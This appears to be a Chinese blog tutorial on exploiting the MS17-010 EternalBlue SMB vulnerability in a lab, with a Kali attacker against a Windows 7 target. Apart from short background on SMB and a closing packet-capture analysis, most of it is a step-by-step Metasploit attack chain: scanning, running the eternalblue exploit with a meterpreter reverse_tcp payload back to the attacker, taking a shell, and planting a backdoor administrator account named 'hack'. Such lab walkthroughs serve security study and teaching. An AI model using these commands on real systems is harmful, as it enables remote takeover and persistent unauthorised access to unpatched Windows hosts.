SMB MS17-010 利用(CVE-2017-0144 永恒之蓝 )

一、基础知识介绍:

1.何为永恒之蓝?

        永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

2.什么是SMB协议?

        SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么?

     (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

     (2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

      (3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

      (4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

二、实验环境:

1.使用kali 和windows 7旗舰版(kali作为攻击主机,windows 7旗舰版作为靶机),使用wireshark进行抓包

在被攻击机Win 7中开启SMB1,HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/LanmanServer/Parameters,新建一个DWORD,并将其命名为SMB1,修改它的值为1

2.设置kali 的IP地址为自动获取,查看kali  IP地址:ifconfig

 可以看到kali 的IP地址是192.168.223.137

3.设置windows 7的IP地址为自动获取,查看windows 7的IP地址:ipconfig

可以看见windows 7 的IP地址为192.168.223.141

三、实验步骤:

Metasploit里已经集成了该漏洞利用脚本,可能使用之前需要更新一下。

root@kali:~# apt update; apt install metasploit-framework

1.测试两台主机的连通性:用kali 去Ping windows 7的主机,来测试连通性:ping  192.168.223.141

可以看见两台主机连通性良好

 2.查看kali 主机数据库是否开启:service postgresql status

由上图可以看出:Active:inactive (dead)说明数据库此时是关闭的;

3.打开kali 主机的数据库: service postgresql start

4.再次查看kali 主机的数据库:service postgresql status

由上图可以看出:Active:active (exited)说明此时数据库已经打开

5.进行msfdb 数据库初始化,配置数据库相关信息:msfdb init

        此时就可以进行永恒之蓝漏洞扫描,(永恒之蓝利用的是ms17_010漏洞,因此到这一步之后的任务就是在kali 里寻找ms17_010漏洞,并且利用该漏洞进行攻击,获得windows 7 的管理员权限)

6.启动msf:msfconsole

这样就成功进入了msf中,如果你的界面与该界面不同,不必诧异,msf每次都会有一个随机的界面

7.查看数据库连接情况:在msf命令提示符下:db_status(下面的msf命令提示符也说明了已经进入了msf中)

postgresql connected to msf 说明已经成功连接到了msf

8.搜索ms17_010:search ms17_010

       小提示:如果第一次输入search ms17_010时并没有出现如上图所示的界面,那么再次输入search ms17_010(本人当时就是输入了两遍才出来如图所示界面,所以多尝试几次)如果多次还是没有发现上述界面,那么有可能是kali 版本太低,没有ms17_010漏洞,所以建议安装更新版本的kali

9.使用ms17_010模块进行漏洞扫描,在此我使用的是下面两条命令(其他的命令也可以进行ms17_010漏洞扫描,但是能否获得系统权限就不得而知了,有兴趣可以进行实验)

扫描命令:use auxiliary/scanner/smb/smb_ms17_010

攻击命令(后面使用):use exploit/windows/smb/ms17_010_eternalblue

10.此时如果不知道应该使用什么命令,则输入options来获得帮助

        在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描

11.设置扫描的主机或者主机段(由于靶机IP地址是192.168.223.141,因此设置扫描主机段为192.168.223.141/24):set rhosts 192.168.223.141/24;然后设置扫描线程为20;最后输入run执行扫描。与此同时,在kali里面打开wireshark抓包工具(新建一个终端,输入wireshark即可),监听ethO

 由上图可以看出,扫描出来存在ms17_010漏洞的主机,也恰好是我的靶机

通过跟踪TCP流,得到了靶机的基本信息:操作系统是windows 7,IP地址是192.168.223.141,协议为SMB2

12.进行攻击:use exploit/windows/smb/ms17_010_eternalblue

设置攻击目标(靶机):set rhost 192.168.223.141

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

设置监听主机(kali):set lhost 192.168.223.137

利用exploit进行攻击:exploit

攻击之后如下图所示:

        可以看到监听(kali)IP(192.168.223.137)及端口(4444),被攻击主机(192.168.223.141)及端口(49159)之间已经建立了连接

四、持续攻击(种植后门)

1.显示远程主机系统信息:sysinfo

2.查看用户身份:getuid

3.对远程主机当前屏幕进行截图:screenshot

打开截图所在位置:

4.获得shell控制台:shell

上面显示转到C:\Windows\system32目录下,说明已经获得了shell的控制权。

5.进行后门植入(创建新的管理员账户)

      net user hack 123456 /add        //在windows 7上创建一个hack的用户,以便下次访问

      net localgroup administrators hack /add     //将hack加入到windows 7的本地管理员组中,以便获得更大权限

      net user        //查看windows 7本地用户

      net localgroup administrators       //查看windows 7本地管理员

 由上图可以看出来,的确将hack添加到windows 7 中,这样可以方便下次继续访问

五、抓包分析

1、首先客户端发送一个SMB Negotiate Protocol Request请求数据报,并列出它所支持的所有SMB协议版本。(正常共享的话,客户端会列出好几个它支持的版本,如果是攻击的话,会故意拉低版本,版本越低,安全性越差)

2、服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。

3、协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送Session Setup AndX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器。

4、服务器通过发送一个Session Setup AndX应答数据报来允许或拒绝本次连接。

5、当客户端和服务器完成了磋商和认证之后,它会发送一个Tree Connect AndX或TconX SMB数据报并列出它想访问网络资源的名称

6、之后服务器会发送一个Tree Connect AndX应答数据报以表示此次连接是否被接受或拒绝。

7、连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
 

        自此,利用永恒之蓝漏洞攻击一台主机就结束了,现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。
 

发布了107 篇原创文章 · 获赞 272 · 访问量 58万+

猜你喜欢

转载自blog.csdn.net/wxh0000mm/article/details/105386210
今日推荐